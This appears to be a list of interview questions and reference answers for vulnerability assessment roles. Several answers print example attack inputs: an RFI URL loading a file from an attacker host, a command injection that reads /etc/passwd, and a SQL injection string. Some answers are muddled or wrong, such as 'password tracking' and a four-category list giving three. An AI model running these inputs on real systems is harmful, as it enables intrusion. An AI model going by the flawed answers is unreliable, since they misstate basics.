Best Interview Questions to Prepare for VA Engineer Roles

1

What is the difference between vulnerability scanning and penetration testing?

Reference answer

Vulnerability Scan — Automated Penetration Test — Manual testing Vulnerability Scan — Identifies vulnerabilities Penetration Test — Exploits vulnerabilities

2

What is vulnerability risk scoring?

Reference answer

Assigning risk scores based on multiple security factors.

3

What is footprinting? What are the techniques used for footprinting?

Reference answer

Footprinting is gathering information about a target. Techniques include DNS queries, WHOIS lookups, social engineering, and search engine mining.

4

What is risk-based vulnerability management?

Reference answer

Prioritizing vulnerabilities based on risk factors like exploitability, asset value, and threat intelligence.

5

Can you provide an example of Vulnerable and Outdated Components?

Reference answer

Example : One notable example is the WannaCry ransomware attack that affected thousands of computers worldwide in 2017. The attackers exploited a vulnerability in Microsoft Windows, known as EternalBlue, which had been patched months before the attack. However, many systems remained vulnerable due to a lack of updates, allowing the ransomware to spread rapidly.

6

What is DNS Tunneling?

Reference answer

DNS tunneling encapsulates non-DNS traffic (e.g., HTTP) within DNS queries and responses, often used to bypass network security or exfiltrate data.

7

Describe a time you worked with a team to address a complex cybersecurity issue.

Reference answer

Cybersecurity is rarely a one-person show. Dive into their teamwork experience. How do they collaborate, communicate, and coordinate in high-pressure situations? Look for examples where they seamlessly integrated with a team to resolve tricky issues. Their ability to gel with your existing team is crucial.

8

What is vulnerability scanning?

Reference answer

Automated process of identifying known vulnerabilities in systems using tools like Nessus, Qualys, OpenVAS, or Rapid7.

9

What is vulnerability chaining?

Reference answer

Combining multiple vulnerabilities to perform a larger attack.

10

Can you describe a situation where you encountered a critical vulnerability and how you handled it?

Reference answer

Imagine a situation where you have a web application that processes user input and stores it in a database. One day, you discover a critical vulnerability that allows an attacker to execute arbitrary SQL commands, leading to potential data breaches or unauthorized access. Upon identifying this vulnerability, the first step is to assess the impact and gain a thorough understanding of the issue. Once confirmed, it is crucial to take immediate action to fix the vulnerability and protect the application and its data. To address this vulnerability, several actions can be taken, such as: 1. Input Validation and Sanitization: Implement strict input validation to ensure only expected data is received. Sanitize user input by using parameterized queries or prepared statements when interacting with the database. For instance, in a PHP application, instead of directly concatenating user input into an SQL query, you can use prepared statements like this: ```php $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]); ``` 2. Escaping Special Characters: Another way to prevent SQL injection is by escaping special characters in user input. This prevents SQL interpreters from misinterpreting input as code. Many programming languages provide built-in functions for this purpose. For example, in Python, you can use the `pymysql.escape_string` method: ```python import pymysql connection = pymysql.connect(...) cursor = connection.cursor() username = pymysql.escape_string(user_input) query = "SELECT * FROM users WHERE username = '{0}'".format(username) cursor.execute(query) ``` 3. Least Privilege Principle: Ensure that the database user or the account used for accessing the database has only the necessary permissions required by the application. This limits the potential impact of a successful attack. It is important to note that every vulnerability may require a unique approach, and the above steps are only general recommendations. In practice, a comprehensive approach involving continuous vulnerability scanning, regular patching, and security testing is essential to maintain a secure application environment. Remember to consult with security experts, stay updated on the latest security practices, and apply security patches promptly to mitigate any critical vulnerabilities.

11

What are the Methods of detecting and defending against Rootkits?

Reference answer

- How do you detect a rootkit: There is no single detection method that is guaranteed to work for every rootkit. However, some common methods used to detect a rootkit include scans with anti-malware programs, looking for unusual program behavior, and checking for modified files. - How do you protect yourself from a rootkit attack: There is no foolproof way to prevent a rootkit attack, but there are several steps that can be taken to protect oneself. These steps include ensuring that the computer is installed with up-to-date antivirus software, not downloading unknown software, and using caution when using unknown or unverified applications.

12

What is the impact of Security Misconfiguration?

Reference answer

Impacts of security misconfiguration : Security misconfigurations can allow attackers to gain unauthorized access to networks, systems, and data, which can cause significant monetary and reputational damage to your organization.

13

What tools do you use for security testing, and why?

Reference answer

I use tools like Burp Suite, OWASP ZAP, and Nessus for security testing. These tools are effective in identifying vulnerabilities, providing comprehensive reports, and offering features that streamline the testing process.

14

Describe a honeypot.

Reference answer

A honeypot is a network-connected system used as a trap for cyber-attackers to discover and study the methods and types of attacks employed by hackers. It simulates a prospective target on the internet and alerts the defenders to any unwanted access to the information system.

15

How can an organization handle threats to its information storage and transmission?

Reference answer

An organization can use a computer security incident response team (CSIRT) to handle any threats to the organization's information storage and transmission. Said team will not just respond to hacking incidents but will inform management when there are intrusion attempts to access sensitive information and the best course of action to take. Apart from this team, an organization could adopt the policy of least privilege when it comes to accessing information. This policy ensures that users are denied access to all information apart from that which is necessary for them to perform their duties. Reducing the number of people accessing sensitive information is a good measure towards reducing the avenues of attack.

16

Tell me what each of the four categories of security testing entails.

Reference answer

The four types of security testing are network security, system software security, and client-side application security. Network security involves looking for vulnerabilities in the network infrastructure, system software security assesses weaknesses in various software operating systems, databases, and other applications, and client-side application security ensures that the client's browser and tools cannot be manipulated.

17

What is the difference between authentication and authorization in security testing?

Reference answer

Authentication and authorization are two important concepts in security testing. Authentication refers to the process of verifying the identity of a user or a system, while authorization refers to the process of determining what actions a user or a system is allowed to perform. In simpler terms, authentication is about confirming who you are, while authorization is about determining what you can do. A good example of how these concepts work together can be seen in a banking application. When a user logs into their bank account, they need to provide authentication credentials, such as a username and password. Once they are authenticated, the system will then determine what actions they are authorized to perform. For example, they may be authorized to view their account balance, transfer funds between accounts, or pay bills. One way to measure the effectiveness of these security testing concepts is through the use of penetration testing. A penetration test is a simulated cyber attack on a system to identify vulnerabilities and potential weaknesses. By conducting a thorough penetration test, an organization can identify areas where authentication and authorization may be lacking and make the necessary changes to improve their security posture. In conclusion, authentication and authorization are two important concepts in security testing that work together to ensure the security of a system. By understanding the difference between the two and implementing strong measures for both, organizations can better protect their systems from cyber attacks.

18

What new categories were added to the OWASP Top 10 in 2021?

Reference answer

For the 2021 list, the OWASP added three new categories: New 1. Insecure Design 2. Software and Data Integrity Failures 3. Server-Side Request Forgery ( SSRF )

19

What's the difference between black box, white box, and grey box testing?

Reference answer

Black box: Tester has no prior knowledge of the target system; simulates an external attack. White box: Tester has full information (source code, architecture, credentials); simulates an internal threat or trusted insider. Grey box: Partial knowledge is provided; mimics an attacker with some inside access. Interview tip: Be ready to discuss the pros, cons, and use-cases for each approach!

20

What is Insecure Deserialization?

Reference answer

Insecure deserialization refers to a security vulnerability that arises when an application does not properly validate or sanitize the data during the deserialization process. Serialization is the process of converting an object or data structure into a format that can be easily stored or transmitted, and deserialization is the reverse process of reconstructing the object from its serialized form.

21

What challenges are common in patch management?

Reference answer

Challenges include downtime concerns, compatibility issues, and limited maintenance windows. Some systems cannot be patched immediately. Risk acceptance may be required.

22

What is Session Hijacking?

Reference answer

Session hijacking is the exploitation of a valid computer session to gain unauthorized access. It can occur through: - Session sniffing - Cross-site scripting - Man-in-the-middle attacks - Malware

23

How can you prevent Insecure Deserialization?

Reference answer

- Use Safe Deserialization Libraries: Use libraries and frameworks that provide secure deserialization features, such as Java's ObjectInputStream with a security manager or .NET's DataContractSerializer. - Limit Deserialization Permissions: Restrict the classes that can be deserialized and use least privilege principles to minimize the impact of deserialization vulnerabilities. - Input Validation: Always validate and sanitize input data, especially when deserializing objects. Ensure that only expected data types and formats are accepted.

24

How would you judge ifa remote server is running IIS or Apache?

Reference answer

Check HTTP response headers (e.g., 'Server: Apache/2.4.1' or 'Microsoft-IIS/10.0'), error pages, or default files.

25

What do you know about ISO 17799?

Reference answer

No explicit answer provided in the text; it is a follow-up question.

26

What ethical considerations do you keep in mind when performing social engineering tests?

Reference answer

When performing social engineering tests, it is crucial to adhere to strict ethical guidelines to protect the rights and privacy of individuals. Consent from the organization, often in the form of a signed agreement, must be obtained prior to conducting any tests. Testers should avoid exploiting sensitive personal information or causing undue stress to employees. Clear boundaries must be established to ensure that no harm—whether psychological, reputational, or legal—is inflicted during the test. Additionally, the test outcomes should be communicated respectfully and constructively, with a focus on improving security measures rather than assigning blame. Conducting these tests with integrity and professionalism not only ensures compliance but also builds trust between the testing team and the organization.

27

What is threat intelligence in vulnerability management?

Reference answer

Using external threat data to prioritize vulnerabilities actively exploited by attackers.

28

What is a command injection vulnerability, and how can it be prevented?

Reference answer

A command injection vulnerability is a type of attack where an attacker injects malicious system commands into a web application. It can be prevented by validating user input, using secure system commands, and implementing input validation.

29

What is a penetration testing framework, and how does it work?

Reference answer

A penetration testing framework is a set of tools and libraries that provide a structured approach to penetration testing, often including scripts and plugins for various tasks.

30

What are the challenges associated with vulnerability assessment?

Reference answer

Vulnerability assessments present several challenges: - False Positives and Negatives: Automated tools may generate false positives (identifying vulnerabilities that don't exist) or false negatives (missing real vulnerabilities). - Time and Resources: Conducting comprehensive vulnerability assessments can be time-consuming and resource-intensive, requiring specialized skills and tools. - Scope and Complexity: Assessing complex systems with multiple interconnected components can be challenging and require a thorough understanding of the environment. - Keeping Up with Vulnerabilities: New vulnerabilities are constantly being discovered, making it difficult to stay up-to-date with the latest threats and mitigation strategies. - Remediation Backlog: Prioritizing and addressing vulnerabilities can be a daunting task, especially in organizations with limited resources and a large backlog of vulnerabilities.

31

What is the Path attribute for cookies?

Reference answer

- Path Attribute : Defines the URL or path for which the cookie is valid. The default path attribute is set to '/' slash.

32

How do you ensure you're up to date on the latest vulnerabilities and attack methods?

Reference answer

I stay up to date by subscribing to threat intelligence feeds, monitoring CVE databases, following cybersecurity news and forums, attending industry conferences, participating in training and certifications, and leveraging automated tools that provide real-time updates on emerging threats.

33

What is the most critical information flow in vulnerability management, and why is information management important?

Reference answer

The most critical information flow is internet traffic coming from an organization's network. There has been an increase in the number of worms, viruses, and other malware threats that organizations need to guard against. Therefore, attention should be paid to this information flow to prevent threats from getting in or out of a network. Other than the threat of malware, information management is also concerned with the organization's data. Organizations store different types of data, and some of it must never get into the hands of the wrong people. Information, such as trade secrets and customers' personal information, could cause irreparable damage if hackers access it. An organization may lose its reputation and could also be fined huge sums of money for failing to protect user data. Competing organizations could get secret formulas, prototypes, and business secrets, allowing them to outshine the victim organization. Therefore, information management is vital in the vulnerability management strategy.

34

How would you handle a situation where you discovered a zero-day vulnerability?

Reference answer

Zero-day vulnerabilities are the stuff of nightmares. What's their game plan for identifying and mitigating such threats? Their strategy should showcase quick thinking, comprehensive risk management, and efficient communication.

35

What is a zero-day exploit?

Reference answer

A zero-day exploit refers to a cyberattack that takes advantage of a previously unknown vulnerability in software, hardware, or firmware. The term “zero-day” signifies that developers have had zero days to address and patch the vulnerability before it is exploited. These types of exploits are particularly dangerous because they target flaws that are not publicly known, leaving systems defenseless and at significant risk of compromise. Cybercriminals or threat actors often use zero-day exploits to gain unauthorized access, steal sensitive information, or disrupt systems before a fix can be implemented.

36

Can you provide an example of RFI?

Reference answer

Example : Consider a website that includes external files based on a "page" parameter in the URL, like so: http://example.com/index.php?page=about.php If the website doesn't properly validate or sanitize user input, an attacker could manipulate the "page" parameter to include a malicious file hosted on their own server, such as: http://example.com/index.php?page=http://attacker.com/malicious.php

37

How do you perform a vulnerability assessment in a cloud environment?

Reference answer

To assess a cloud environment, I understand the cloud architecture, define the scope to include cloud services and configurations, use cloud-specific tools, check configurations, and ensure compliance with relevant standards and regulations.

38

Explain the concept of port knocking?

Reference answer

Port knocking is a security mechanism used to protect servers and networked systems by concealing open ports from unauthorized users. It works by requiring an authorized user to “knock” on a sequence of predetermined, closed network ports in a specific order before the server grants access. This action essentially acts as a secret handshake, allowing the server to dynamically open the targeted port for the user based on the correct sequence. Port knocking ensures that ports do not remain visibly open to potential attackers scanning the system, thus reducing the attack surface. While it provides an added layer of security, it should be implemented alongside other security measures, as it may not fully protect against advanced or determined attackers.

39

What is the difference between Code Injection and Command Injection?

Reference answer

Code injection : Code injection is an attack where an attacker injects and executes malicious code within an application. This is typically done by sending a request to the target application, often through a browser, containing the injected code. Command Injection : A command injection occurs when an attacker alters the application's default function for executing system commands. No new code is added. Command injection can lead to various breaches, such as downloading tools, stealing and changing credentials, or deleting files that depend on the privileges.

40

What is the difference between a vulnerability assessment and a penetration test?

Reference answer

A vulnerability assessment identifies and categorizes vulnerabilities in a system, while penetration testing actively exploits these vulnerabilities to assess the impact and effectiveness of security measures.

41

What are the five stages of risk assessment?

Reference answer

Risk assessment consists of five stages. Scope: Risk assessment starts with scope identification. An organization's security team has a limited budget, so it has to identify areas that it will cover and those that it will not. It also determines what will be protected, its sensitivity, and to what level it needs to be protected. Collecting data: After the scope has been defined, data needs to be collected about the existing policies and procedures in place to safeguard the organization from cyber threats. This can be done through interviews, questionnaires, and surveys administered to personnel, such as users and network administrators. Relevant data should be collected for all the networks, applications, and systems covered in the scope. Analysis of policies and procedures: Organizations set up policies and procedures to govern the use of their resources. They ensure that they are used rightfully and safely. Therefore, it is important to review and analyze the existing policies and procedures. Vulnerability analysis: After analyzing the policies and procedures, vulnerability analysis must be done to determine the organization's exposure and determine whether there are enough safeguards to protect it. Threat analysis: Threats to an organization are actions, code, or software that could lead to the tampering, destruction, or interruption of data and services in an organization. Threat analysis is done to look at the risks that could happen in an organization. Analysis of acceptable risks: The analysis of acceptable risks is the last step in risk assessment. Here, the existing policies, procedures, and security mechanisms are first assessed to determine whether they are adequate. If they are inadequate, it is assumed that there are vulnerabilities in the organization.

42

Differentiate between Symmetric Encryption (e.g., AES) and Asymmetric Encryption (e.g., RSA), and compare them to Hashing, Obfuscation, Encoding, and Steganography, discussing their unique applications.

Reference answer

Symmetric encryption uses a single shared key for both encryption and decryption (e.g., AES), suitable for fast bulk data encryption. Asymmetric encryption uses a public-private key pair (e.g., RSA), ideal for secure key exchange and digital signatures. Hashing is a one-way function that produces a fixed-size hash, used for data integrity checks. Obfuscation makes code or data difficult to understand, used for intellectual property protection. Encoding transforms data into a different format (e.g., Base64) for safe transmission. Steganography hides data within other media (e.g., images) for covert communication.

43

What is the difference between closed-source and open-source? Which is better?

Reference answer

Closed-source is proprietary with hidden code, while open-source is publicly available for review. Neither is inherently better; it depends on security needs and trust.

44

What is the Domain attribute for cookies?

Reference answer

- Domain Attribute : Specifies the domain for which the cookie is valid and can be submitted with requests. It can include the domain and its subdomains.

45

What are SSL sessions and SSL connections, respectively?

Reference answer

A secure Socket Layer is a temporary peer-to-peer communications channel connecting each connection to a single SSL Session. An SSL session is a relationship between a client and a server typically established through the handshake protocol. Multiple SSL connections can share a defined set of parameters.

46

What are the several indicators of compromise(IOC) that organizations should monitor?

Reference answer

IOCs include: unusual outbound traffic, unrecognized file hashes, unauthorized changes to system files, and anomalous logins.

47

What is the primary purpose of pentesting?

Reference answer

The primary purpose is to evaluate security defenses, identify weaknesses, and provide recommendations for improvement.

48

How do you determine the seriousness of a vulnerability?

Reference answer

This question has two main purposes. First, it helps me assess whether or not the candidate understands what makes a vulnerability serious or less serious. Second, it gives me insight into their process for determining the severity of a vulnerability and how they approach these types of questions. The key thing to look out for here is whether or not they understand the concept behind severity and can explain their process in an organized way while providing examples from past experiences.

49

What sets a vulnerability manager apart from other cybersecurity roles, like a security engineer?

Reference answer

A vulnerability manager focuses specifically on identifying, prioritizing, and remediating vulnerabilities across an organization, often coordinating with various teams to ensure patches and mitigations are applied. In contrast, a security engineer typically designs and implements security systems, such as firewalls or intrusion detection systems, with a broader focus on infrastructure protection.

50

How does encryption work in HTTPS?

Reference answer

- HTTPS uses TLS to encrypt data transmitted between your browser and the web server to secure your web traffic. - A TLS Handshake starts, during which, the browser and web server negotiate encryption algorithms(cipher suites and max TLS version) and exchange keys. - The web server verifies it's identity by providing the browser with a digital certificate, containing information about the website but most importantly the certificates public key and digital signature. - The browser checks if it can trust the digital certificate using a Certificate Authority, completing the TLS Handshake. - Then the browser and the web server agree on a symmetric key using the servers public/private (asymmetric encryption) keys. - Finally the HTTP data can be exchanged between browser and web server using this symmetric encryption, securing the web traffic.

51

What are the PTES Technical Guidelines, and what are their standards?

Reference answer

The PTES Technical Guidelines are a set of standards and best practices for penetration testing, providing guidelines for conducting penetration tests.

52

What are the important parts of the Pentesting Report?

Reference answer

A strong penetration testing report includes: - Executive Summary: High-level overview for non-technical stakeholders. - Scope and Objectives: Defines the systems tested and test goals. - Methodology: Outlines frameworks used (e.g., OSSTMM, PTES) and tools. - Findings and Vulnerabilities: Details vulnerabilities with severity ratings and CVE references. - Exploitation and Impact: Describes successful exploits and potential risks. - Recommendations: Provide prioritized remediation steps. - Conclusion: Summarizes security posture and next steps. - Appendices: Includes supporting technical data.

53

How do you handle false positives during a penetration test?

Reference answer

Handling false positives during a penetration test requires a methodical approach to ensure accurate assessment and reporting. First, all potential vulnerabilities identified by automated tools should be manually verified to confirm their validity. This involves replicating the issue and analyzing the system's responses to determine whether it poses a genuine risk. Clear documentation of the testing process and results is essential to differentiate between actual vulnerabilities and false positives. Additionally, ongoing communication with the client or system administrators allows for clarification and context, which can help in confirming the authenticity of findings. By rigorously validating results, testers ensure that resources are focused on addressing real security threats.

54

How do you handle vulnerabilities that cannot be patched immediately?

Reference answer

Sometimes, immediate patching may not be feasible due to various reasons, such as system compatibility issues, business criticality, or lack of vendor support. In such cases, consider these mitigation strategies: - Compensating Controls: Implement alternative security measures to compensate for the unpatched vulnerability. This could include network segmentation, access control restrictions, or intrusion detection systems. - Risk Acceptance: In rare cases, if the risk associated with the vulnerability is deemed low and the impact is acceptable, you may choose to accept the risk and monitor the situation closely. - Vendor Fix: Work with the software vendor to expedite the development and release of a patch. - Virtual Patching: Use security tools, such as web application firewalls (WAFs) or intrusion prevention systems (IPS), to provide virtual patching that blocks exploit attempts until a permanent fix is available.

55

What tools would you use for network scanning?

Reference answer

Common network scanning tools include: - Nmap for port scanning and service detection - Wireshark for packet analysis - Nessus for vulnerability scanning - Metasploit for exploitation - Burp Suite for web application testing

56

What are Hard tokens?

Reference answer

- Hard tokens : Hard tokens are hardware items like smart cards and USB to grant access to the restricted network like the one used in corporate offices to access the employees.

57

What is the goal of the OASP open web application security project?

Reference answer

a) Identify and address the top 10 vulnerabilities in web applications

58

How do SLAs apply to vulnerability remediation?

Reference answer

SLAs define acceptable remediation timelines based on severity. They help set expectations with stakeholders. SLAs are often tied to risk levels.

59

What metrics and KPIs would you use to measure the success of a DevSecOps program?

Reference answer

Some key metrics and KPIs to track DevSecOps success: - Reduction in number and severity of vulnerabilities over time - Faster mean time to detect (MTTD) and respond to (MTTR) incidents - Percentage of security tests and processes that are automated - Adherence to relevant security and compliance standards - Developer feedback on the seamlessness of security integration

60

What kinds of forensic information would you gather in the wake of an attack that exploited a vulnerability?

Reference answer

I would gather logs from affected systems, network traffic captures, memory dumps, system snapshots, and intrusion detection system alerts. Additionally, I would collect information on the vulnerability exploited, indicators of compromise (IOCs), and any changes to files or configurations to support root cause analysis and improve defenses.

61

Explain True Positive and False Positive.

Reference answer

A true positive is correctly identifying a threat (e.g., alert for actual malware). A false positive is incorrectly identifying benign activity as a threat.

62

Can you provide an example of OS Command Injection?

Reference answer

Example : In a web application where users can perform a traceroute, an attacker injects an OS command along with the IP address: 127.0.0.1; cat /etc/passwd With this input, the server executes the legitimate traceroute command but also runs the injected command, granting the attacker access to sensitive system information such as /etc/passwd.

63

What strategies do you use for securing serverless functions?

Reference answer

A comprehensive serverless security strategy should focus on four areas: implementing least-privilege IAM roles using AWS IAM analyzer, encrypting environment variables with KMS, setting function-level security controls, and maintaining updated runtime dependencies through AWS Lambda layers.

64

What are the two most common methods for protecting a password file?

Reference answer

Hashed passwords and salt value access control are the two most frequent methods to protect password files.

65

Explain How Risk Analysis and Penetration Testing Are Different from Each Other?

Reference answer

Risk Analysis and Penetration Testing are both important aspects of information security, however, they have some key differences. Risk Analysis is the process of identifying, quantifying, and assessing the potential risks associated with a security vulnerability, system, or process. Penetration Testing is the process of testing a system's vulnerability to attack by trying to exploit discovered vulnerabilities. Penetration Testing can be used to find vulnerabilities that could be harmful if exploited.

66

Explain the concept of Cross-Site Scripting (XSS) and how to prevent it.

Reference answer

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by users, potentially leading to data theft and session hijacking. To prevent XSS, implement input validation, output encoding, and use security headers like Content Security Policy (CSP).

67

With which event id can failed logons be detected?

Reference answer

Event ID 4625 indicates a failed logon attempt.

68

What are your go-to tools for reconnaissance, exploitation, and reporting?

Reference answer

- Reconnaissance: Nmap, Shodan, Maltego - Exploitation: Metasploit, Burp Suite, custom Python/Bash scripts - Reporting: Dradis, Serpico, Huru.ai for communication skill feedback

69

What is Privilege Escalation?

Reference answer

Privilege escalation typically involves gaining higher-level permissions within a system or application.

70

What is the NIST 800-115 Technical Guide to Information Security Testing and Assessment, and what are its standards?

Reference answer

The NIST 800-115 is a guide to information security testing and assessment, providing standards and best practices for conducting penetration tests.

71

What is SQL injection (SQLi)?

Reference answer

SQL injection (SQLi) is a type of injection attack where an attacker can manipulate a database by injecting malicious SQL queries through an application's input fields, such as forms or URL parameters. SQL injection vulnerabilities can be exploited by attackers to bypass authentication and retrieve, modify or delete data from the database.

72

What is spear phishing, and how does it differ from phishing?

Reference answer

Spear phishing is a targeted phishing attack where an attacker targets a specific individual or group. It's more sophisticated and convincing than traditional phishing attacks.

73

How do you determine the severity of a discovered vulnerability?

Reference answer

To answer this question, it is necessary, you should have knowledge about vulnerabilities. You can use the Common Vulnerability Scoring system (CVSS) V3 to determine the severity of a discovered vulnerability.

74

Describe your experience with network and web application scanners.

Reference answer

Be prepared to discuss your experience with specific network and web application scanners. Highlight the differences in their approaches and the types of vulnerabilities they are designed to find. - Network Scanners: Focus on identifying vulnerabilities in network devices, protocols, and configurations. They typically use techniques such as port scanning, vulnerability scanning, and network mapping. - Web Application Scanners: Specifically designed to identify vulnerabilities in web applications, such as SQL injection, cross-site scripting (XSS), and authentication bypass. They often employ techniques like crawling, fuzzing, and input validation testing.

75

Why is XSS a common vulnerability?

Reference answer

Because the majority of applications use JavaScript, and XSS is a JavaScript-based issue. In XSS, the attacker is able to inject arbitrary JavaScript code into a web application, which the web application then executes. which can lead to various security issues. This can include stealing sensitive information like login credentials, session tokens, or personal data.

76

How do you manage vulnerabilities in containers?

Reference answer

Container images are scanned for known vulnerabilities. Runtime monitoring helps detect exposure. Secure build pipelines reduce risk early.

77

What is your favorite way to discover vulnerabilities in source code?

Reference answer

This question gives me an idea of how they think, as well as what kind of skills they use when working on a problem. It's important for candidates to demonstrate that they understand that vulnerabilities can exist anywhere, not just in the final product but also in the process. I also want to know if the candidate has had any experience with reverse engineering or vulnerability discovery tools.

78

What is Cross-Site Scripting (XSS)?

Reference answer

Cross-Site Scripting (XSS) is a type of security vulnerability that occurs when an attacker injects malicious scripts into trusted websites. These scripts are then executed in the browser of a user who visits the compromised site, allowing attackers to steal sensitive information, manipulate web content, or hijack user sessions. XSS typically exploits weaknesses in a website's handling of user input, enabling the injection of unauthorized code. It can be classified into three main types: Stored XSS, Reflected XSS, and DOM-based XSS. To prevent XSS, developers should implement proper input sanitization, use Content Security Policies (CSP), and encode output to ensure user input is not executed as code.

79

What is a vulnerability scanner?

Reference answer

Software that automatically scans systems for security weaknesses. Examples: Nessus Qualys OpenVAS Rapid7 InsightVM

80

What is the difference between vulnerability scanning and penetration testing?

Reference answer

Vulnerability scanning is an automated process that identifies security vulnerabilities, while penetration testing involves manual techniques to exploit these vulnerabilities and assess overall security.

81

How often should vulnerability scans run?

Reference answer

Weekly scans Monthly full scans Continuous scanning

82

What experience do you have with vulnerability management frameworks like CVSS?

Reference answer

Understanding a candidate's familiarity with vulnerability management frameworks like the Common Vulnerability Scoring System (CVSS) will give you a good gauge of their grounding in industry standards. CVSS is key in determining the severity of vulnerabilities. Have they used it extensively? Can they explain how they've leveraged CVSS in past roles? These insights can help you ascertain their baseline knowledge.

83

How do you describe your findings to stakeholders which include both technical and non-technical individuals?

Reference answer

The reason behind this question is that it is important to stay on the same page with your shareholders. They need to know exactly the risks involved and the support they can provide. Being able to communicate a sense of urgency to the stakeholders can help you get half the job done as you can get the necessary resources instead of working with limited resources. When you reach a certain stage in the interview, you are there because you have the necessary technical skills. Being able to explain the problem clearly and effectively also helps me see their ability to approach a problem.

84

What is the difference between XSS and SQL injection?

Reference answer

XSS is a client-side vulnerability that targets other application users, while SQL injection is a server-side vulnerability that targets the application's database.

85

What should be implemented on a login page?

Reference answer

Implement HTTPS, CAPTCHA, rate limiting, and multi-factor authentication to prevent brute force and automated attacks.

86

What is your experience with vulnerability management frameworks?

Reference answer

Vulnerability management frameworks provide structured guidance and best practices for managing vulnerabilities. Familiarize yourself with these popular frameworks: - NIST Cybersecurity Framework: Developed by the National Institute of Standards and Technology (NIST), this framework provides a comprehensive set of standards, guidelines, and best practices for managing cybersecurity risk. It consists of five core functions: Identify, Protect, Detect, Respond, and Recover. - ISO 27001: An internationally recognized standard for information security management systems (ISMS). It provides a framework for establishing, implementing, maintaining, and continually improving an ISMS. - CIS Critical Security Controls: A prioritized set of security controls developed by the Center for Internet Security (CIS). These controls provide a consensus-based approach to preventing and mitigating common cyberattacks. Demonstrating your knowledge of these frameworks shows your commitment to following industry best practices and implementing structured vulnerability management processes.

87

What strategies would you use to raise security awareness within a development team?

Reference answer

Raising security awareness within a development team involves regular training and workshops to keep security top of mind. Candidates might suggest integrating security into the development lifecycle through practices like secure coding guidelines and regular security reviews. Gamification, such as security challenges or capture-the-flag events, can make learning engaging and foster a culture of continuous improvement. Sharing success stories and lessons learned from past incidents can also be impactful. Ideal candidates will emphasize the importance of making security a shared responsibility and demonstrate innovative approaches to keeping the team informed and motivated to prioritize security in their work.

88

What are some common security practices that can help prevent vulnerabilities?

Reference answer

Common security practices for preventing vulnerabilities include: - Regular software updates: Applying security patches and software updates to address known vulnerabilities. - Strong passwords: Using complex passwords that are difficult to guess and not reusing passwords across multiple accounts. - Multi-factor authentication (MFA): Using MFA to add an extra layer of security to account access. - Secure configurations: Hardening system and application configurations to minimize attack surfaces. - Network segmentation: Dividing the network into smaller segments to limit the impact of breaches. - Data encryption: Encrypting sensitive data to protect it from unauthorized access. - Security awareness training: Educating users about security best practices and potential threats. - Regular security assessments: Conducting periodic vulnerability assessments and penetration testing to identify and address vulnerabilities.

89

Can you provide an example of SQL Injection?

Reference answer

Example : SQL Injection Imagine a web application that uses user input to construct an SQL query to fetch data from a database. The application allows users to search for products by entering keywords. The SQL query might look like this: SELECT * FROM products WHERE name = 'user_input'; Now, suppose an attacker enters the following input into the search field: ' OR 1=1 -- Then The resulting SQL query becomes: SELECT * FROM products WHERE name = '' OR 1=1 -- '; In this modified query: - The single quote ' closes the string that the application expects for the product name. - The OR 1=1 condition always evaluates to true, effectively bypassing any additional conditions in the original query. - The double dash -- indicates a comment in SQL, causing the database to ignore the rest of the query. As a result, the application retrieves all rows from the products table, effectively exposing all product data to the attacker. This example demonstrates how an attacker can manipulate input to inject malicious SQL code into a web application, leading to unauthorized access to sensitive data.

90

What are the differences between symmetric and asymmetric encryption? And which is better?

Reference answer

Symmetric encryption is a type of encryption that uses a single key, a secret key, to both encrypt and decrypt electronic information. Entities communicating via symmetric encryption must exchange the key so they can be used in the decryption process. On the other hand, Asymmetric encryption uses two keys, one public and one private, to encrypt and decrypt messages. While the symmetric encryption is faster, the key needs to be transferred using an unencrypted channel, the asymmetric encryption is slower but more secure. Each has its pros and cons, which means a better approach is to combine the two types of encryption. This means we'll need to set up a channel with asymmetric encryption and send the data using a symmetric process.

91

In a nutshell, what is SQL injection?

Reference answer

SQL injection occurs when a hacker uses code to put malicious SQL statements into a database. They can use this to obtain access to the database and take the information with little difficulty. The use of such attacks to steal information from a wide range of sectors is on the rise globally.

92

Explain SYN flood attack.

Reference answer

A SYN flood attack sends a flood of TCP SYN requests with spoofed IPs to a target, exhausting its resources by leaving half-open connections and preventing legitimate traffic.

93

How do you ensure that secrets are protected within your DevSecOps pipeline?

Reference answer

The following methods could be used to ensure secret protection in the DevSecOps pipeline: - Implementing a Secret Management-platform like HashiCorp Vault or Ansible Vault that keeps secrets private, accessible, and managed using identity-based access control - Creating encrypted values for secrets like API keys, tokens, certificates, and database credentials, stored manually or within a source code management repository - Segregating sensitive resources into different environments, then applying least privilege principles, for example, preventing the use of root access or privileged permissions, etc.

94

What are Business Logic Vulnerabilities?

Reference answer

Business logic vulnerabilities are flaws in how an application is designed or implemented, allowing attackers to misuse its intended functions. These flaws arise when developers fail to anticipate and handle unusual application states safely, leading to unintended behavior.

95

Can you explain what CVSS is and how it is used?

Reference answer

The Common Vulnerability Scoring System (CVSS) is a standardized framework for assessing the severity of vulnerabilities. It provides a numerical score ranging from 0 to 10, with higher scores indicating more severe vulnerabilities. The score is based on several factors, including the exploitability of the vulnerability, the impact on confidentiality, integrity, and availability, and the complexity required to exploit it. CVSS scores help organizations prioritize vulnerabilities and allocate resources for remediation.

96

What is the difference between an incident and a breach?

Reference answer

An incident refers to a security event that compromises the integrity, confidentiality, or availability of information systems. A breach, on the other hand, occurs when data is successfully accessed or stolen by unauthorized parties, leading to a confirmed loss of sensitive information.

97

Write a code snippet to demonstrate how to implement rate limiting to prevent DoS attacks.

Reference answer

An amazing answer would explain the concept of rate limiting as a technique to control the number of requests a user can make to a server. It should also describe using a token bucket algorithm or a fixed window counter to implement rate limiting. from time import time, sleep class RateLimiter: def __init__(self, max_requests, period): self.max_requests = max_requests self.period = period self.requests = [] def allow_request(self): current_time = time() self.requests = [req for req in self.requests if req > current_time - self.period] if len(self.requests) < self.max_requests: self.requests.append(current_time) return True return False # Example usage limiter = RateLimiter(5, 60) # 5 requests per 60 seconds for i in range(10): if limiter.allow_request(): print("Request allowed") else: print("Rate limit exceeded") sleep(10)

98

Explain XSS types.

Reference answer

Types include: Stored (persistent), Reflected (non-persistent), and DOM-based (via client-side scripts).

99

What is password tracking, and how can it be prevented?

Reference answer

Password tracking is guessing passwords to gain access to private or personal data. It can be prevented by using strong passwords and implementing two-factor authentication.

100

What is vulnerability backlog?

Reference answer

Unresolved vulnerabilities waiting for remediation.

101

What are the common types of web attacks?

Reference answer

